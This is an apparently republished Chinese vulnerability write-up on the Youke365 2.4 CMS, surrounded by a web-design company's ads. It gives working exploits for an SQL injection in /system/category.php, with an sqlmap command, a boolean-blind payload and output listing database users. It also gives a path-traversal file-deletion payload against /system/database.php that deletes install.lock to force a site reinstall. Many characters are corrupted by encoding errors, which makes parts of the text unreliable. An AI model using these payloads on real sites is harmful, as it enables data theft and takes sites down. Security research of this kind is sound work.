Youke365_2_4一處Sql注入漏洞以及一處任意文件刪除的示例分析

這篇文章將為大家詳細(xì)講解有關(guān)Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

成都網(wǎng)站建設(shè)哪家好,找成都創(chuàng)新互聯(lián)!專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)公司、微信開發(fā)、微信小程序開發(fā)、集團(tuán)成都企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。核心團(tuán)隊(duì)均擁有互聯(lián)網(wǎng)行業(yè)多年經(jīng)驗(yàn),服務(wù)眾多知名企業(yè)客戶;涵蓋的客戶類型包括:展覽展示等眾多領(lǐng)域,積累了大量豐富的經(jīng)驗(yàn),同時(shí)也獲得了客戶的一致贊許!

Prat 0 自白

每一天都是新的一天。
沒啥吐槽的,步入正題

/system/category.php 文件一處Sql注入## 80-87行代碼

        $root_id = intval(trim($_POST['root_id']));
        $cate_name = trim($_POST['cate_name']);
        $cate_dir = trim($_POST['cate_dir']);
        $cate_url = trim($_POST['cate_url']);
        $cate_isbest = intval($_POST['cate_isbest']);
        $cate_order = intval($_POST['cate_order']);
        $cate_keywords = trim($_POST['cate_keywords']);
        $cate_description = trim($_POST['cate_description']);

110-124行代碼

if ($action == 'saveadd') {
            $query = $DB->query("SELECT cate_id FROM $table WHERE root_id='$root_id' AND cate_name='$cate_name'");

            if ($DB->num_rows($query)) {
                msgbox('您所添加的分類已存在!');
            }
                $DB->insert($table, $data);
                update_categories();
                update_cache('categories');

                $fileurl = empty($root_id) ? $fileurl .= '?act=add' : $fileurl .= '?act=add&root_id='.$root_id;
                msgbox('分類添加成功!', $fileurl);
        } elseif ($action == 'saveedit') {
                $cate_id = intval($_POST['cate_id']);
                $where = array('cate_id' => $cate_id);

首先我們需要直到,注意看$cate_name,從POST獲取參數(shù)然后去掉空格。
然后$action獲取到的參數(shù)為saveadd的時(shí)候先把$cate_name帶入查詢。
判斷數(shù)據(jù)庫(kù)是否存在這個(gè)名字,如果滿足條件則進(jìn)入msgbox('您所添加的分類已存在!');
沒滿足條件則添加。
注意第20行代碼,我們可以肯定,他肯定是先通過一次sql語(yǔ)句進(jìn)行查詢。

漏洞利用


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

報(bào)錯(cuò)了,沒有關(guān)系,我們開啟MySQL監(jiān)測(cè)看一下是否有帶入sql查詢


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

SELECT cate_id FROM dir_categories WHERE root_id='1' AND cate_name='aaaa' and 1=1 --'


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

考慮到可能會(huì)因?yàn)闀r(shí)間過長(zhǎng)導(dǎo)致cookie失效,所以建議直接使用--tech參數(shù)來指定一下注入類型。

sqlmap -r "/mnt/d/test.txt" -p cate_name --dbms=mysql --random-agent --tech B --users

結(jié)果:

Parameter: cate_name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: root_id=1&cate_name=aaaa' AND 6067=6067 AND 'yrhI'='yrhI&cate_dir=aaaa&cate_url=aaaa&cate_keywords=aaaa&cate_description=aaa&cate_order=0&act=saveadd---[17:58:46] [INFO] testing MySQL
[17:58:46] [INFO] confirming MySQL
[17:58:46] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.0
[17:58:46] [INFO] fetching database users
[17:58:46] [INFO] fetching number of database users
[17:58:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:58:46] [INFO] retrieved: 3[17:59:28] [INFO] retrieved: 'root'@'localhost'[18:10:25] [INFO] retrieved: 'root'@'127.0.0.1'[18:22:37] [INFO] retrieved: 'root'@'::1'database management system users [3]: 'root'@'127.0.0.1' 'root'@'::1' 'root'@'localhost'

當(dāng)然,在獲取數(shù)據(jù)的時(shí)候也有可能會(huì)導(dǎo)致cookie失效,但是后臺(tái)沒有驗(yàn)證碼。
當(dāng)我們得知后臺(tái)賬號(hào)密碼的情況下,完全可以造個(gè)輪子。
因?yàn)楸容^懶,就暫時(shí)不寫poc了。

/system/database.php 文件一處任意文件刪除可導(dǎo)致Cms重裝

156-165行代碼

if ($action == 'delete') {
        $bakfile = trim($_GET['file']);
        $filepath = $DBak->datadir.$bakfile;

        if (unlink($filepath)) {
                msgbox('文件刪除成功!', $fileurl.'?act=restore');
        } else {
                msgbox('文件刪除失?。?#39;);
        }
}


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

OK,我們繼續(xù)看第158行

首先他從get獲取file參數(shù),然后在去掉兩邊的空格存入$bakfile

然后拼接文件地址,這里用了datadir,我們跟過去看一下。

        public function __construct($db_host, $db_user, $db_pass, $db_name, $charset = 'utf8') {                
                $this->connect($db_host, $db_user, $db_pass, $db_name, $charset);//連接數(shù)據(jù)                $this->datadir = ROOT_PATH.'data/dbbak/';
        }


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

文件成功刪除,可能有小伙伴會(huì)問了,這沒達(dá)到任意文件刪除的目的。

這只是刪除掉了指定目錄的任意文件。

所以,我們需要?jiǎng)h除掉其他目錄的文件。

利用../往上跳目錄,例如我想刪除根目錄的文件就需要跳兩次

payload: system/database.php?act=delete&file=../../a.txt


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

OK,可能會(huì)有小伙伴會(huì)覺得任意文件刪除沒有啥意義。

接下來我們繼續(xù)看。

install/install.php

17-19行代碼

//判斷是否已經(jīng)安裝過if (file_exists(ROOT_PATH.'data/install.lock')) {
        failure('你已經(jīng)安裝過本系統(tǒng)!<br />如果還繼續(xù)安裝,請(qǐng)先刪除data/install.lock,再繼續(xù)');
}

首先在cms重裝前,會(huì)判斷是否有data/install.lock文件,如果有則不進(jìn)去后面的代碼。
沒有則開始進(jìn)行重裝。
那么我們只需要?jiǎng)h除掉data/install就好了

payload : system/database.php?act=delete&file=../../data/install.lock


Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析

就可以達(dá)到重裝。

因?yàn)橹匮b會(huì)導(dǎo)致站點(diǎn)會(huì)癱瘓,所以不建議各位重裝,以及刪除任何文件。

關(guān)于Youke365_2_4 一處Sql注入漏洞以及一處任意文件刪除的示例分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

本文題目:Youke365_2_4一處Sql注入漏洞以及一處任意文件刪除的示例分析
文章網(wǎng)址:http://muchs.cn/article24/gddsje.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站制作網(wǎng)站改版、企業(yè)網(wǎng)站制作、App開發(fā)、企業(yè)建站、品牌網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)